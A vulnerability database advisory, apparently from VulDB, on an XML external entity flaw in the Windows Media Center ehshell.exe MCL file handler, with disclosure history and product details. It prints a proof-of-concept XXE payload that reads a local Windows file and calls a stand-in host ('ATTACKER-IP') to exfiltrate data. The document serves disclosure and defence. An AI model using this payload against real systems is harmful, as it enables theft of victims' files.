Microsoft Windows Media Center 6.1.7600 MCL File ehshell.exe xml external entity reference

Summaryinfo

A vulnerability classified as critical has been found in Microsoft Windows Media Center 6.1.7600. This affects an unknown part of the file ehshell.exe of the component MCL File Handler. The manipulation leads to xml external entity reference. In addition, an exploit is available.

Detailsinfo

A vulnerability, which was classified as critical, has been found in Microsoft Windows Media Center 6.1.7600 (Operating System). This issue affects some unknown processing of the file ehshell.exe of the component MCL File Handler. The manipulation with an unknown input leads to a xml external entity reference vulnerability. Using CWE to declare the problem leads to CWE-611. The product processes an XML document that can contain XML entities with URIs that resolve to documents outside of the intended sphere of control, causing the product to embed incorrect documents into its output. Impacted is confidentiality, and availability.

The weakness was presented 12/04/2016 by John Page (hyp3rlinx) as Microsoft Windows Media Center "ehshell.exe" XML External Entity as not defined mailinglist post (Bugtraq). The advisory is shared at seclists.org. The public release was coordinated in cooperation with Microsoft. The attack may be initiated remotely. No form of authentication is needed for a successful exploitation. Technical details as well as a public exploit are known. The advisory points out:

Windows Media Center "ehshell.exe" is vulnerable to XML External Entity attack allowing remote access to ANY files on a victims computer, if they open an XXE laden ".mcl" file via a remote share / USB or from an malicious "windowsmediacenterweb" web link.

A public exploit has been developed by John Page (hyp3rlinx) in XML and been published immediately after the advisory. The exploit is available at seclists.org. It is declared as proof-of-concept. The vulnerability was handled as a non-public zero-day exploit for at least 94 days. During that time the estimated underground price was around $100k and more. The code used by the exploit is:

<?xml version="1.0"?>
<!DOCTYPE hyp3rlinx [
<!ENTITY % data666 SYSTEM "c:\Windows\msdfmap.ini">
<!ENTITY % junk SYSTEM "http://ATTACKER-IP:8080/FindMeThatBiotch.dtd";>
%junk;
%param666;
%FindMeThatBiotch;
]>

Sometimes 'Windows Media Center' will crash, sometimes opens normally and other times will not open, but the files get accessed and exfiltrated.

The mailinglist post contains the following remark:

Vendor reply "Wont Fix" : October 19, 2016

Several companies clearly confirm that VulDB is the primary source for best vulnerability data.

Productinfo

Type

• Operating System

Vendor

• Microsoft

Name

• Windows Media Center

Version

• 6.1.7600

License

• commercial

Support

• end of life (old version)

Website

• Vendor: https://www.microsoft.com/

CPE 2.3info

• 🔍

CPE 2.2info

• 🔍

CVSSv4info

CVSSv3info

CVSSv2info

Exploitinginfo

Threat Intelligenceinfo

Countermeasuresinfo

Timelineinfo

Sourcesinfo

Entryinfo

Several companies clearly confirm that VulDB is the primary source for best vulnerability data.

Discussion